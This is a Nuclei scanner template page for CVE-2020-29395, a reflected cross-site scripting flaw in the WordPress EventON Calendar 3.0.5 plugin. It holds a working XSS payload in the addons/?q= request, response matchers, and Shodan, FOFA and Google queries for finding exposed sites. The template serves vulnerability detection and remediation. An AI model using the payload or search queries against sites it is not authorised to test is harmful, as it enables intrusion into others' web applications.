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Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting

ID: CVE-2020-29395

Severity: medium

Author: daffainfo

Tags: cve,cve2020,wordpress,xss,wp-plugin,packetstorm,myeventon

Wordpress EventON Calendar 3.0.5 is vulnerable to cross-site scripting because it allows addons/?q= XSS via the search field.

id: CVE-2020-29395
info:
name: Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting
author: daffainfo
severity: medium
description: Wordpress EventON Calendar 3.0.5 is vulnerable to cross-site scripting because it allows addons/?q= XSS via the search field.
impact: |
Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
remediation: |
Update to the latest version of the Wordpress EventON Calendar plugin (3.0.6) to mitigate this vulnerability.
reference:
- https://github.com/mustgundogdu/Research/tree/main/EventON_PLUGIN_XSS
- https://www.myeventon.com/news/
- https://nvd.nist.gov/vuln/detail/CVE-2020-29395
- http://packetstormsecurity.com/files/160282/WordPress-EventON-Calendar-3.0.5-Cross-Site-Scripting.html
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-29395
cwe-id: CWE-79
epss-score: 0.03946
epss-percentile: 0.91992
cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: myeventon
product: eventon
framework: wordpress
shodan-query:
- "http.html:/wp-content/plugins/eventon/"
- http.html:/wp-content/plugins/eventon-lite/
fofa-query:
- "wp-content/plugins/eventon/"
- body=/wp-content/plugins/eventon/
- body=/wp-content/plugins/eventon-lite/
publicwww-query:
- "/wp-content/plugins/eventon/"
- /wp-content/plugins/eventon-lite/
google-query: "inurl:\"/wp-content/plugins/eventon/\""
tags: cve,cve2020,wordpress,xss,wp-plugin,packetstorm,myeventon
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- '/wp-content/plugins/eventON/'
- method: GET
path:
- '{{BaseURL}}/addons/?q=%3Csvg%2Fonload%3Dalert(1)%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<svg/onload=alert(1)>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100b9ea3fed1134dca532d230da002397ce7e1839b7b852b532b20e5245f8966e970221008d035c92dced81deecff4b8f997b36df93263d3c5687f5c8bff94aee866e3327:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-29395.yaml"

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